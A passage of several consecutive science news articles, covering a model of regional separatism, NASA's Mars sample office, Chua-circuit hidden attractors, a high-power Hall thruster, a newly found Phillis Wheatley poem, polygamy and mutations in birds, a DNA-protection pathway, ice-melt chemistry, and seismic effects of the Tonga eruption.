"Of course, the drivers of separatism are complex, but if we want to simplify a bit, there are two key reasons why certain subnational regions might prefer to become independent," Desmet said. "A first is income per capita: if my region is relatively rich, I may feel that I am 'subsidizing' the rest of the country, and that I would be better off if my region became independent. A second is identity: if my region has a separate ethnic or linguistic identity, I may feel less connected to the nation, and prefer to secede."

Desmet, Ortuno-Ortin and Ozak were particularly curious about what was driving secessionist tensions in two of the team's home countrieswith Flanders in Belgium having a strong pro-independence movement and Catalonia having made a bid for independence from Spain a few years ago.

"Interestingly, because Flanders and Catalonia are relatively rich, the push for independence has been couched in economic terms," Desmet said.

However, the study indicates that economic forces tend to be secondary when it comes to understanding secessionism.

How the study was done

The research team's mathematical model ran on two optionswhether subnational regions chose to form their own country or stay in the country they're currently part of.

The economists then plugged different scenarios into the modelsuch as if the income per capita was the same throughout a country or if everyone spoke the same language. They also looked at what the income and languages spoken in those regions actually were.

Income per capita data for the different countries and subnational regions came from a source that economists widely useGeographically Based Economic Data from Yale University, known as G-Econ 4.0for the year 2000.

Language was used as a measure for identity, as it has been shown to be a major identity marker that differentiates populations in other studies. The SMU-UC3M team relied on a detailed database of languages that they developed using information from the World Language Mapping System.

The tricky part was determining how much weight income and identity should get in the model's calculations.

"For example, if we gave too much weight to linguistic identity, we would see too much separatism, and if we gave too little weight to linguistic identity, everyone would want to join and stay together," Desmet said.

To gauge how their model matched up with the real world, the research team looked at how the predictions they got mirrored known breakups around the world, like the dissolution of the Soviet Union to create sovereign countries like Ukraine, Armenia and Lithuania.

Their mathematical model generated predictions for the stability of 173 countries and 3,003 subnational regions. They then looked at how well these predictions lined up with actual secessionist movements and with the actual stability of states. Data for secessionist movements came from Wikipedia. A total of 2,529 hotspots were identified. Desmet, Ortuno-Ortin and Ozak also consulted which countries were labeled as unstable in the Fragile States Index, an annual report put out by Washington, D.C.-based Fund for Peace.

"When doing these 'checks,' it turns out that our model performs very well," Desmet said.

For instance, the modelbased on data from the late 1980spredicted that Latvia, Lithuania, Estonia and Georgia had a strong likelihood of seceding from the Soviet Union. All of those countries wound up being among the first to leave the Union of Soviet Socialist Republics (USSR).

The identity model also showed that Tibet in China, Tigray in Ethiopia, Bavaria and Saarland in Germany, Aceh in Indonesia and Lombardia and Sardinia all have the potential of wanting to secede from their country. Many of those same subnational regions regularly make the news for pro-independence movements today.
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NASAs Perseverance rover deposited the first of several samples onto the Martian surface on Dec. 21, 2022, the 653rd Martian day, or sol, of the mission. Credit: NASA/JPL-Caltech/MSSS

NASA announced Thursday its new Mars Sample Receiving Project office, responsible for receiving and curating the first samples returned from the Red Planet, will be located at the agency's Johnson Space Center in Houston. The safe and rapid release of Mars samples after they return to Earth to laboratories worldwide for science investigations will be a priority.

The office will reside within Johnson's Astromaterials Research and Exploration Science division, NASA's organization with expertise in processing and curating extraterrestrial samples.

"NASA Johnson houses the largest and most diverse collection of astromaterials in the world, beginning with samples returned from the Apollo Program," said Johnson Center Director Vanessa Wyche. "With our expertise, we look forward to managing the project that will receive scientifically compelling Mars samples gathered by the NASA Perseverance rover."

Johnson will work with the agency's Mars Exploration Program to develop and design plans for sample recovery and subsequent transition to science investigations. The project team will recover, contain, transfer, assess safety, curate, and coordinate scientific investigation of the samples collected by NASA's Mars 2020 Perseverance rover, which are expected to arrive on Earth in 2033.

Samples returned to Earth will enhance humanity's understanding of Mars through detailed chemical and physical analyses in laboratories around the world that are beyond the capabilities of instruments delivered to Mars. Perseverance is gathering samples in and around Jezero Crater, where billions of years ago, a river once flowed into a lake and deposited rocks and sediments in a fan shaped delta formation. Deltas are one of the best places on Mars to search for potential signs of ancient microbial life.

"Age-old samples, like those being collected on Mars, are critical in our quest to better understand our universe," said Rep. Brian Babin of Texas. "I'm proud Johnson will lead NASA's effort in curating these samples and play a key role in propelling our scientific discoveries forward."

A key objective for Perseverance's mission on Mars is astrobiology, including caching samples that may contain signs of ancient microbial life. The rover is currently characterizing the planet's geology and past climate, paving the way for human exploration of the Red Planet, and is the first mission to collect and cache Martian rock and regolith.

"The Mars Sample Return Program is essential for the human exploration of Mars," said Rep. Sheila Jackson Lee of Texas. "Establishing this Sample Receiving Project office is a large step forward in helping us gain knowledge and make progress in our efforts to go to Mars."

"Johnson will work with the agency's Mars Exploration Program and ESA to complete studies and develop plans for sample recovery and transportation, facility development and operation, and science investigations," said Gerhard Kminek, ESA's MSR lead scientist.

More campaign information

Returning samples to Earth from Mars is expected to be the most complex robotic space flight campaign ever attempted. The NASA-European Space Agency (ESA) Mars Sample Return Campaign promises to revolutionize humanity's understanding of Mars by bringing scientifically selected samples to Earth for study using the most sophisticated instruments around the world. The campaign would fulfill a solar system exploration goal, a high priority since the 1970s and in the last three National Academy of Sciences Planetary Decadal Surveys.

This strategic NASA and ESA partnership would be the first mission to return scientifically selected samples from another planet and the first launch from the surface of another planet. The samples collected by NASA's Perseverance Mars rover during its exploration of an ancient lakebed are thought to present the best opportunity to reveal clues about the early evolution of Mars, including the potential for past life. By better understanding the history of Mars, we would improve our understanding of all rocky planets in the solar system, including Earth.

More information: For more information about the Mars Sample Return campaign, see mars.nasa.gov/msr

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Photo of the experimental laboratory model for detecting hidden attractors in the Chua circuit. Credit: St. Petersburg State University

Scientists from St Petersburg University and the Kotelnikov Institute of Radioengineering and Electronics of the Russian Academy of Sciences (IRE RAS), together with Professor Leon Chua from the University of California, Berkeley, have demonstrated experimentally the existence of hidden attractorspoints in the basins of attraction in a simple electrical circuit.

An attractor in a dynamical system is a set of states toward which the system tends to evolve over time. One of the examples of systems with trivial attractors is a roly-poly toy. The attractor here will be an upright position, the so-called state of rest. Another example is a swinging pendulum, for which the attractor will be the pendulum's equilibrium position when it hangs vertically.

However, there are also attractors of another type: chaotic attractors. For systems with chaotic attractors, trajectories for the passage from equilibrium to attractor are more difficult to predict. One of the key tasks of nonlinear dynamics as a scientific direction is to reveal all possible limiting dynamical regimes of oscillations (non-trivial attractors) and the initial conditions from which the trajectories tending to hidden attractors start.

In turn, non-trivial attractors can be hidden or self-excited. Self-excited attractors are easy to detect and localize in a physical experiment and by numerical analysis. For example, the onset of respiration at birth is the result of self-excitation of the lungs. From a state of rest, the respiratory organs come to a stable cycle mode of operation, which corresponds to a self-excited attractor.

For humans, breathing is cyclic and automatic. In the case of respiratory failure, however, it is necessary to restart respiration. For this, it is essential to determine the appropriate level of impact on the respiratory organs in order to return the respiratory system to the basin of attraction of the stable cycle mode of the lung and heart function. In this case, the initial state of equilibrium is stable and continuous breathing corresponds to a hidden periodic attractor.

To explain and demonstrate these states, the scientists use the Chua circuit as a reference model illustrating these principles in electrodynamics. The Chua circuit is a simple nonlinear circuit that exhibits a range of limiting chaotic oscillations. It was invented in 1983 by an American electrical engineer and computer scientist Leon Chua for studying and generating dynamical chaos.

Since then, many different forms of chaotic oscillations have been identified in the Chua circuit. All of them, however, were self-excited attractors that could be observed when the circuit is switched on at the zero initial data, corresponding to the zero equilibrium state. Hence, a conjecture was that the chaotic behavior is possible only in the case of unstable zero equilibrium.

Later, Professor Nikolay Kuznetsov, Head of the Department of Applied Cybernetics at St Petersburg University, predicted the existence of hidden attractors. Back in 2009, he mathematically proved the existence of hidden chaotic attractors in the Chua circuit.

"The emergence and development of the theory of hidden oscillations opened up a number of fundamentally new opportunities for determining the boundaries of stability and identifying undesirable chaotic oscillations to prevent technological and man-made disasters. This enabled mathematical modeling of various configurations and scenarios for the birth of hidden attractors in the Chua circuit," says Professor Nikolay Kuznetsov, Head of the Department of Applied Cybernetics at St Petersburg University.

The existence of hidden attractors in the Chua circuit was experimentally confirmed at the Saratov branch of the Kotelnikov Institute of Radioengineering and Electronics of the Russian Academy of Sciences (IRE RAS). To this end, the scientists from IRE RAS and St Petersburg University, together with Professor Chua himself, designed a special experimental setup to validate the mathematical models. The setup features an additional sub-circuit included in the classical Chua circuit, which enables simulation of the impact of external disturbances, allowing for selection of the initial conditions at the moment of starting the setup.

In a radiophysical experiment, the scientists ran the modified Chua circuit and were able to detect and visualize attractors that can be considered hidden because at the initialunmodifiedconditions, they are not observed.

According to Professor Kuznetsov, the discovery is important not only for fundamental science. It makes possible many practical applications. For example, the chaotic oscillations generated in the Chua circuit can be used as a random number generator in encryption systems for covert data transmission and in many other applications.

Thus, various memristive system technologies based on Chua's theory have been developed. Memristors, being non-volatile memory devices, can become the basis for a new generation of computers, in which the storage and processing of data is carried out by the same physical device.

The research findings are published in Nonlinear Dynamics.

More information: Nikolay Kuznetsov et al, Hidden attractors in Chua circuit: mathematical theory meets physical experiments, Nonlinear Dynamics (2022). DOI: 10.1007/s11071-022-08078-y
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The glow of the plasma from the H9 MUSCLE Hall thruster during a test with krypton propellant. Credit: Plasmadynamic and Electric Propulsion Laboratory

It has been believed that Hall thrusters, an efficient kind of electric propulsion widely used in orbit, must be large to produce a lot of thrust. Now, a new study from the University of Michigan suggests that smaller Hall thrusters can generate much more thrustpotentially making them candidates for interplanetary missions.

"People had previously thought that you could only push a certain amount of current through a thruster area, which in turn translates directly into how much force or thrust you can generate per unit area," said Benjamin Jorns, U-M associate professor of aerospace engineering who led the new Hall thruster study to be presented at the AIAA SciTech Forum in National Harbor, Maryland, today.

His team challenged this limit by running a 9 kilowatt Hall thruster up to 45 kilowatts, maintaining roughly 80% of its nominal efficiency. This increased the amount of force generated per unit area by almost a factor of 10.

Whether we call it a plasma thruster or an ion drive, electric propulsion is our best bet for interplanetary travelbut science is at a crossroads. While Hall thrusters are a well-proven technology, an alternative concept, known as a magnetoplasmadynamic thruster, promises to pack much more power into smaller engines. However, they are yet unproven in many ways, including lifetime.

Hall thrusters were believed to be unable to compete because of the way they operate. The propellant, typically a noble gas like xenon, moves through a cylindrical channel where it is accelerated by a powerful electric field. It generates thrust in the forward direction as it departs out the back. But before the propellant can be accelerated, it needs to lose some electrons to give it a positive charge.

Electrons accelerated by a magnetic field to run in a ring around that channeldescribed as a "buzz saw" by Jornsknock electrons off the propellant atoms and turn them into positively charged ions. However, calculations suggested that if a Hall thruster tried to drive more propellant through the engine, the electrons whizzing in a ring would get knocked out of the formation, breaking down that "buzz saw" function.

"It's like trying to bite off more than you can chew," Jorns said. "The buzz saw can't work its way through that much material."

In addition, the engine would become extremely hot. Jorns' team put these beliefs to the test.

"We named our thruster the H9 MUSCLE because essentially, we took the H9 thruster and made a muscle car out of it by turning it up to '11'really up to a hundred, if we're going by accurate scaling," said Leanne Su, a doctoral student in aerospace engineering who will present the study.

They tackled the heat problem by cooling it with water, which let them see how big a problem the buzz saw breakdown was going to be. Turns out, it wasn't much trouble. Running with xenon, the conventional propellant, the H9 MUSCLE ran up to 37.5 kilowatts, with an overall efficiency of about 49%, not far off the 62% efficiency at its design power of 9 kilowatts.

Running with krypton, a lighter gas, they maxed out their power supply at 45 kilowatts. At an overall efficiency of 51%, they achieved their maximum thrust of about 1.8 Newtons, on par with the much larger 100-kilowatt-class X3 Hall thruster.

Ph.D student Will Hurley leaves the chamber where the new Hall plasma thruster is tested at the PEPL lab. Credit: Marcin Szczepanski/Michigan Engineering

"This is kind of a crazy result because typically, krypton performs a lot worse than xenon on Hall thrusters. So it's very cool and an interesting path forward to see that we can actually improve krypton's performance relative to xenon by increasing the thruster current density," Su said.

Nested Hall thrusters like the X3also developed in part by U-Mhave been explored for interplanetary cargo transport, but they are much larger and heavier, making it difficult for them to transport humans. Now, ordinary Hall thrusters are back on the table for crewed journeys.

Jorns says that the cooling problem would need a space-worthy solution if Hall thrusters are to run at these high powers. Still, he is optimistic that individual thrusters could run at 100 to 200 kilowatts, arranged into arrays that provide a megawatt's worth of thrust. This could enable crewed missions to reach Mars even on the far side of the sun, traveling a distance of 250 million miles.

The team hopes to pursue the cooling problem as well as challenges in developing both Hall thrusters and magnetoplasmadynamic thrusters on Earth, where few facilities can test Mars-mission-level thrusters. The amount of propellant exhausting from the thruster comes too fast for the vacuum pumps to keep the conditions inside the testing chamber space-like.

More information: Leanne L. Su et al, Operation and Performance of a Magnetically Shielded Hall Thruster at Ultrahigh Current Densities, AIAA SCITECH 2023 Forum (2023). DOI: 10.2514/6.2023-0842
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This print portrays the first Black American enslaved woman to have her writings published. Phillis Wheatley sits at a table holding a quill pen, her head resting on the other hand in a pose that indicates creative thought. The image is also the first known individual portrait of an American woman of African descent, made as the frontispiece for the author's "Poems on Various Subjects, Religion and Moral" (London, 1773; second edition London and Boston, 1773). Today, many scholars believe that Scipio Moorhead, an enslaved man of African descent who lived near the author in Boston, created the imageWheatley dedicated one of her poems "To S.M. a young African Painter, on seeing his Works," and his identity was later established from a note she had made in a copy of her book. His name is not engraved on the print, however, and early commentators on Wheatley do not mention him as the designer. Moorhead's achievements as an artist remain obscure because none of his drawings or paintings survive. Credit: After Scipio Moorhead, CC0, via Wikimedia Commons

A University at Albany professor has discovered the earliest known full-length elegy by famed poet Phillis Wheatley (Peters), widely regarded as the first Black person, enslaved person and one of the first women in America to publish a book of poetry.

English professor Wendy Raphael Roberts found the elegy, titled "On the Death of Love Rotch" and dated 1767, in a Quaker commonplace book at the Historical Society of Pennsylvania while conducting research into Wheatley's life and legacy. While the elegy was never claimed by the poet, it was attributed to her by a trustworthy manuscript witness embedded in Wheatley's network and local poetry scene.

The discovery expands Wheatley's canon at a time of growing interest in and scholarship around the poet, and provides new evidence for her presence and influence in Nantucket; New Bedford, Mass.; and Newport, R.I.; which were home to early abolitionist movements in the U.S.

"We don't know much about her early life, we really don't," Roberts said. "We have scraps here and there, and there's a lot of good work happening right now, but we don't know where she went, what her daily life might have been like, and this gives us one more piece."

Wheatley was believed to be around 7 years old when she was kidnapped from West Africa and sold to Susanna Wheatley, the wife of wealthy Boston merchant John Wheatley.

Though unusual for an enslaved person in America, Wheatley was taught to read and write and quickly demonstrated intellectual prowess. She began writing poems from a young age, with her earliest work appearing in print while she was still a teenager. Her work included elegies for prominent people, and touched on themes of theology, slavery, abolition, politics and America.

Hoping to publish a book of poems but confronting a racist press, Wheatley's book was prefaced with an attestation of her authorship and poetic capabilities by prominent male citizens of Boston. Facing continued resistance in the U.S., Wheatley traveled to London with Susanna's son, Nathaniel Wheatley, and won support for her first book, Poems on Various Subjects, Religious and Moral.

Published in 1773, it was met with acclaim and she quickly became celebrated across the British Empire. Her work, which included letters to George Washington and other high-ranking Americans, served as a catalyst for the early antislavery movement, with abolitionists touting her as proof that Black people could be artistic and intellectual equals to whites.

Roberts first became interested in Wheatley in graduate school while taking a course on early American literature focused on writers of the Black Atlantic. She published a book that examined some of Wheatley's work in 2020 titled, Awakening Verse: The Poetics of Early American Evangelicalism.

During research for the book, she came across a poem about Wheatley by a white woman in Boston and grew curious about how Wheatley's poems were first circulated.

"I earmarked that for later because I started to think, wait a second, we know so little about how (Wheatley's) manuscripts circulated," Roberts said. "At the time, that was predominantly the way that women writers would be published and circulatedthey would be in coteries and networksbut we knew very little about it."

"On the Death of Love Rotch," the poem that Roberts attributes to Wheatley, showed up in a commonplace book 15 years after it was penned. Commonplace booksa collection of writings, quotes, ideas and morewere often kept by poets and scribes and included works by other authors of whom they were fond.

The book containing the Love Rotch poem was kept by Mary Powel Potts (Jones), who was embedded in the poetic manuscript networks of the Delaware Valley and closely connected to Quaker teacher and minister Rebecca Jones and her teaching and life partner Hannah Catherall, who assigned early Wheatley poems for their students to copy, including at least one that was never published.

Roberts said scholars have always assumed that Wheatley's poems would be marked with her name, even though it wasn't common practice for the time.

"In the 18th century, even well-known writers would take on cognomensa kind of variant of a pseudonym that their network and poetic coterie would know them by," she said. "They all knew who the actual writer was, but it was very common at the time not to put your name to a poem, both in print and in manuscript."

Roberts was combing through commonplace books from the time Wheatley was active when she came across the Love Rotch poem, attributed only to "A Negro Girl about 15 years of age."

"As soon as I saw that I knew this was a Wheatley poem because there was no other 14- to 15-year-old Black girl writing poetry like this at the time," she said.

Written in 1767, the poem laments the death of Love Macy Rotch, a member of the powerful Rotch family of Nantucket and mother to Joseph Rotch, Jr., who was the subject of a published Wheatley poem.

The only thing that didn't make sense to Roberts was the copyist's claim that Love Rotch was the poet's mistress, since it was widely known that Susanna Wheatley held that role.

In an upcoming article in the journal Early American Literature, Roberts theorizes that Potts may have known more about Wheatley's first years in America than print publications cared to highlight at the time.

"Print performed particular work for those supporting Wheatley's publications," she wrote. "What incentive would there be for the Wheatley family while showing off their genius enslaved poet to highlight times when she was hired out or taught by others? It would not be out of the question for Wheatley's enslavers to have loaned her out to the Rotch family for a time, especially to provide comfort and company or to serve as an amanuensis for an ailing Love Rotch."

Roberts provides other theories as well, but notes that Rotch's exact relationship to the poet need not be confirmed to confidently attribute the poem to Wheatley. A combination of external factorssuch as the close connection between the copyist and Wheatley's known networksand internal evidence such as the poem's subject, style and languageled her to confidently claim Wheatley as the author.

The discovery places Wheatley in Nantucket, which may help explain why her earliest published poem appeared in New Bedford and not Boston, where Wheatley is known to have lived.

"New Bedford is right across from Nantucket, and Nantucket is a hotbed through the 19th century for abolitionist thought," Roberts said. "So all of a sudden she's there at the very beginning when Quakers are starting to really think more seriously about their abolitionist sensibilities. So part of the argument that I want to make is that she's influencing themthat her presence there matters."

Roberts found another anonymous poem in the Potts book that she believes Wheatley wrote but can only speculatively attribute to her. Titled "The Black Rose," it mourns the death of a Black woman named Rose and uses theology to critique a society that refused to mourn the enslaved and oppressed. It would be the only known elegy Wheatley wrote for a Black woman.

Roberts will detail her discoveries at an upcoming talk on Jan. 26. The Library Company of Philadelphia is hosting the free and virtual discussion as the first event of a yearlong celebration marking the 250th publication anniversary of Wheatley's book.

Renewed interest in the poet has led to a flurry of discoveries in recent years that have helped fill in gaps on her life and death. Roberts' discovery is the first full-length Wheatley poem to be discovered in 20 years. Her efforts recently earned her a 2023 National Endowment for the Humanities Fellowship, which will support her continued research into Wheatley and a second book.

"She's kind of coming into her own at this moment," Roberts said. "There's real interest in the whole field and among Wheatley scholars right now in trying to rethink what we know about her and the limits of what we know, and I think there's going to be a lot more discoveries."
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When the team sequenced the genome of polygamous Red-necked phalaropes for the first time, they found they carried fewer harmful mutations. Credit: Freya Coursey

Bird species that breed with several sexual partners have fewer harmful mutations, according to a study led by the Milner Centre for Evolution at the University of Bath. The study, published in Evolution, shows for the first time how polygamy increases the efficiency of natural selection in wild populations.

Most birds pair up with a single mate each season, with some species like swans or geese mating for life.

In contrast, some bird species are polygamous, having several partners per breeding season, however it is unclear why they have evolved a different mating system.

An international team of scientists led by Bath analyzed the genomes of 150 bird species, spanning all the major bird families and from locations across the world, including six species that were sequenced for the first time.

By counting differences between the genes inherited from the individual's mother and father (termed the heterozygosity), they were able to estimate the level of genetic diversity across each species.

They also looked at the frequency of gene mutations in each species and whether they changed the sequence of proteins for which they coded or were "silent." The former, called non-synonymous polymorphisms, are often detrimental to the individual, whereas silent mutations are generally harmless.

Contrary to their expectations, they found that polygamous species on the whole were no more diverse than monogamous ones, although the small number of species with polygamous females did have higher than expected genetic diversity.

They also found that, relative to the number of silent mutations, the polygamous species had significantly fewer potentially damaging mutations that changed the protein sequence.

Kees Wanders, Ph.D. student in the University of Bath's Department of Life Sciences is first author of the paper.

He said, "Species evolve through natural selection, where harmful mutations are removed from the population in the long term because individuals with the mutation don't survive long enough to breed, or individuals with beneficial adaptations survive for longer."

"However, species also evolve through sexual selection, where evolution is shaped by individuals competing for access to mates, so that only the most desirable characteristics are successfully passed down to offspring."

"This research suggests that sexual selection aligns with natural selection in birds, so that harmful mutations are removed more efficiently in polygamous populations, where sexual selection is particularly strong."

"We still don't know exactly why some bird species are polygamous when most pair up for a breeding season or even for life."

"There are many different theories about why polygamy evolved in these species, but we've found the first evidence that it increases the efficiency of natural selection by rooting out harmful mutations and avoiding the effects of inbreeding."

"It's been previously observed by others in the lab in fruit flies, but this is the first time it's been observed in wild populations of birds."

Dr. Araxi Urrutia, Senior Lecturer at the Milner Centre for Evolution at the University of Bath and last author of the paper, said, "I had a hypothesis that in polygamous species, where individuals can't easily find a mate and have to travel further to find a breeding partner, that this would mean that there would be more genetic diversity in these species.

"However, we were surprised to find there was no evidence for thisinstead we found that these species had fewer harmful mutations."

"Despite this apparent evolutionary advantage, most birds tend to stick together to raise their chicks because it gives their offspring a better chance of survival."

The data for this study was collected as part of the B10K Project, with scientists from China, Wales, Denmark, Hungary, Germany, Netherlands and Mexico contributing to the research.

More information: Kees Wanders et al, Polygamy and Purifying Selection in Birds, Evolution (2023). DOI: 10.1093/evolut/qpac010 Journal information: Evolution
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Proteins labeled with colored tags fill the main compartment  but not the nuclei (blue)  of human cervical cancer cells. Green cells contain the protein TRPV2, red cells contain STING, and yellow and orange cells contain a mixture of both. The proteins are part of a newly discovered DNA-protection pathway that potentially could be targeted to improve cancer therapies, according to researchers at Washington University School of Medicine in St. Louis. Credit: Lingzhen Kong/Washington University

Cells zealously protect the integrity of their genomes, because damage can lead to cancer or cell death. The genomea cell's complete set of DNAis most vulnerable while it is being duplicated before a cell divides. Cancer cells constantly are dividing, so their genomes are constantly in jeopardy.

Researchers at Washington University School of Medicine in St. Louis have identified a previously unknown signaling pathway cells use to protect their DNA while it is being copied. The findings, published Jan. 24 in the journal Molecular Cell, suggest that targeting this pathway potentially could boost the potency of cancer therapeutics.

"A cell that can't protect its genome is going to die," said senior author Zhongsheng You, Ph.D., a professor of cell biology & physiology. "This entire pathway we found exists to protect the genome so the cell can survive in the face of replication stress. By combining inhibitors of this pathway with chemotherapy drugs that target the DNA replication process, we potentially could make such drugs more effective."

Replication stress occurs when the cell's DNA duplication machinery runs into problems copying the genome. Certain stretches of DNA are inherently difficult to copy, because they contain many repeated sequences. Factors that damage the DNA, such as radiation and toxic molecules, also cause replication stress, as does the activation of cancer-causing genes. Dozens of cancer drugs, including widely used medications such as cisplatin and doxorubicin, work by damaging the DNA and increasing replication stress.

You studies how cells protect their genomes while they are being duplicated. Early in his career, he worked on the ATR-Chk1 genome-protection pathwaya pathway that controls the cell-division cycle and prevents stalled replication machinery from failing entirely and causing breaks in the DNA. For the past eight years, he and his team painstakingly have been piecing together another previously unknown genome-protection pathway. With this new study, the final piece of the puzzle has clicked into place.

The process they discovered goes like this: When the DNA-duplicating machinery stalls, a protein called Exo1 that normally follows behind the machinery gets a little out of hand. Exo1's job is to perform quality control by cutting out incorrectly copied pieces of DNA, but when the machinery stops moving forward, Exo1 starts snipping away haphazardly, cleaving off bits of DNA that then make their way out of the nucleus and into the main part of the cell.

DNA is not found outside the nucleus under normal conditions, so its presence in the main part of the cell sets off an alarm. Upon encountering a fragment of DNA, a sensor molecule triggers a cascade of molecular events, including the release of the calcium ion from a cellular organelle known as the endoplasmic reticulum, which in turn shuts down Exo1, preventing it from dicing up the genome any further until the problem with the machinery can be fixed.

This newest study describes the discovery of DNA fragments as the warning signal that sets off the whole genome-protection response. The study was led by first author Shan Li, Ph.D., as a postdoctoral researcher and then a staff scientist in You's lab. Li is now an assistant professor at Zhejiang University School of Medicine in Hangzhou, China. Co-author Lingzhen Kong, a graduate student, also made important contributions to the study.

Over the years, You and colleagues have identified eight protein factors involved in this genome-protection pathway. Most of them already have inhibitors under development that could be repurposed for cancer studies.

"Now that we have the pathway, we want to know whether it can be targeted for cancer treatment," You said. "Lung, ovarian and breast cancer are intrinsically under replication stress. Other cancers are put under replication stress by chemotherapy drugs. This pathway protects cells from replication stress, so if we could block the pathway, it might improve patients' response to cancer therapies."

Several of the proteins in this pathway also play a role in other critical biological processes, including immunity, metabolism and autophagy, the process by which cells break down their own unwanted materials.

"One of the most exciting things about this pathway is how it intersects with so many other pathways," You said.

"I've been focusing on cancer, but much of this could also apply to autoimmune diseases. Two of the proteins we identified have been linked to chronic activation of the immune response and autoimmune disease. We want to understand the relationship between this replication-stress response pathway and the innate immune response pathway. The work we do is very basic, and it is so exciting to connect the dots between these fundamental processes and see how they relate to human health and disease."
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Gregory Tochtrop's dogs Frankincense (Frankie) and Acetaldehyde (Ace). Credit: Gregory Tochtrop

As picturesque as winter weather can be, snowy scenes often present a less desirable, slippery companion: ice. It coats our roadways, clings to windshields and serves as a general hurdle in daily life during the coldest months of the year.

Ice-melt products offer a needed solutionbut choosing the right one can be difficult. From accelerating the rusting process on vehicles to causing pH levels in slush that can harm pets' paws, the negative consequences of certain products may prompt consumers to think twice.

To learn more about ice-melt products and what people should know, The Daily spoke with Gregory Tochtrop, professor in the Department of Chemistry at the College of Arts and Sciences. A dog parent to two spanielsAcetaldehyde ("Ace") and Frankincense ("Frankie")Tochtrop knows firsthand the importance of considering the science behind the products we use when combatting ice.

1. How do ice melt products work?

Ice melt works by changing the "melting point," or the temperature at which solids such as ice will melt. Anything that undergoes the transition from a solid to liquidsuch as ice transitioning to waterwill almost always form an organized crystal lattice when solid, and that crystal lattice is the hallmark of having a melting point.

Ice melt works to disrupt this lattice. In chemistry, we think of this in terms of intermolecular forces that impact how crystal structures form, and thereby how (or if) the solid appears. When water forms into ice, it creates an extremely regular crystal lattice all based off of two hydrogen bonds in between each water molecule. When you disrupt this lattice by introducing ice melt, it's much harder for water to find enough energy to form a solid. The impact on melting point is all a function of how much concentration of something you can introduce to a solution. Different types of ice-melt products, like different salts, vary in how effective they are at entering the ice structure and moving the needle on the melting point.

2. Why is salt so popular when it comes to melting ice?

Anything that dissolves in water could be used to change its melting point, but there's a simple answer for why we use salt: It's cheap. Massive salt deposits exist all around the world from dried-up oceans. Take, for instance, the Cargill salt mine underneath Lake Erie, which was the source of most of North America's salt for a very long time. Mines like this provide two major types of saltcalcium chloride and magnesium chlorideand when those dissolve into water, they break up into three different ions.

The amount that your freezing point is depressed is a direct function of the number of ions, or particles, that have to get accommodated into water's crystal lattice structure, so the process these salts undergo offers a straightforward, affordable option. If you were to add something like sugar you wouldn't be successful, because it doesn't break up into particles. The sugar would stay intact as sugar molecules.

3. How does salt affect roadways and cars?

The nature of how salt breaks up, unfortunately, is also the reason why it's so deleterious to cars. When calcium chloride and magnesium chloride react with water, they form calcium hydroxide and magnesium hydroxide, and, thereby, form hydronium ions. Those ions are effectively acidic.

The acid that results in these solutions significantly lowers the pH level of the slush we drive through, which then gathers on roads and the undersides of cars. This accelerates how quickly water and oxygen from the air interact, in essence corroding the iron and aluminum parts of vehicles and creating rust.

4. What makes for a pet-safe ice-melt product?

The acidic pH that certain ice-melt products can cause in slush doesn't only impact cars and roadways; it's also the main reason why some pets get such sensitive paws over the winter. Calcium chloride is a particularly big offender since it lowers pH levels more significantly.

Likely the best pet-safe deicer is potassium acetate. It's better because it doesn't react with water and change the pH. Sodium chloride is ample and cheap, would be great for melting salt, and also wouldn't cause the pH change, but it would kill all your vegetation. Potassium acetate is the way to go.

5. What's going on when they 'deice' a plane?

At an airport, chances are you're not going to find salt-based ice-melt products for one major reason: They'd harm the planes just as they cause rust and corrosion on cars and roadways.

Instead, airports turn to potassium acetate when removing ice from runways, and they spray a propylene glycol solution on the planes themselves. While cost prohibitive in other settings, these deicing agents are used because airports are keenly aware of not causing corrosion on planes. You can't afford for a part to rust off!
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Schematic representation of the main mechanisms that contributed to ground motions during the eruption. (A) Downward reaction forces from jetting at the vent, which are modeled as vertical point forces, and magma reservoir deflation, which is modeled as an isotropic implosive source, produce similar waveform fits. The true source must be a combination of both effects. Propagation of the atmospheric acoustic-gravity pressure wave (Lamb wave) also produced ground displacements recorded at seismic stations worldwide. (B) Atmospheric acoustic waves oscillating for ~8000 s coupled to the solid Earth, producing harmonic Rayleigh waves that radiated away from the source. HTHH: Hunga Tonga-Hunga Ha'apai. Credit: Science Advances (2023). DOI: 10.1126/sciadv.add4931

The submarine volcano eruption of Hunga Tonga-Hunga Ha'apai that occurred on January 15, 2022, generated impulsive downward reaction forces on Earth, radiating seismic waves throughout the planet. Geologists analyzed the teleseismic waves and Rayleigh waves at approximately 50 seconds to determine the force history and provide insights into the overall volcanic eruption process. The acoustic waves generated during the process produced broadband ground motions across the land alongside conventional tsunami waves.

In a new report now published in Science Advances, Ricardo Garza-Girn and a research team in Earth and Planetary Sciences at the University of California, Santa Cruz, the Earthquake Science Center California, and the seismological lab at Caltech and the University of Strasbourg, France, described the solid Earth-atmosphere interactions surrounding the process.

The Hunga TongaHunga Ha'apai eruption

The Hunga TongaHunga Ha'apai eruption that occurred on January 15, 2022, produced the highest plume of any prior volcanic eruptiondue to the interactions between magma and water. The event produced a strong water vapor anomaly in the middle stratosphere due to the degree of magma-water interactions at the ocean surface, on account of the submarine volcanic eruption.

The process simultaneously produced almost 590,000 lightning strikes observed globally in the ionosphere and atmosphere, partially driven by an acoustic-gravity wave and via global seismic waves. The phenomenon was the largest eruption to occur since the 1991 eruption of Mount Pinatubo in the Philippines. In this work, Garza-Girn and his team presented several seismic methods to quantify and represent the ground mechanisms surrounding the phenomenon.

Vertical component profiles obtained from GSN, GEOSCOPE, and other broadband stations, bandpass filtered from 0.01 to 0.05 Hz, exemplifying seismic P, S, and R1 arrivals for the first two blasts. (A) Displacement records section showing the R1 arrival (dashed green lines) of the first two subevents E1 and E2. (B) Displacement records of all the stations used in this study. Solid red and blue and green dashed curves indicate the seismic wave arrivals P, S, and R1, respectively. P waves from these records quantify the time history of forcing from the first two volcanic subevents within 6 min of the M5.8 origin time. While P waves from later volcanic subevents cannot be identified because of interference from other phases, the relatively large-amplitude Rayleigh waves reveal numerous volcanic subevents recorded across all distances, allowing quantification of the time history of forcing out to ~4.5 hours after the main blast. Credit: Science Advances (2023). DOI: 10.1126/sciadv.add4931

The fundamental forces

Three fundamental forces contribute to the ground motion detected by seismometers relative to the 2022 Tonga eruption. These include direct seismic waves resulting from the eruptive process itself and two other interactions associated with atmospheric disturbances relating to the eruption of downward reaction forces and atmospheric acoustic waves, respectively. The downward reaction forces impacting the Earth can act at the source during rapid pressure deflation in the magma reservoir and conduit system to rapidly vent material in the eruption jet.

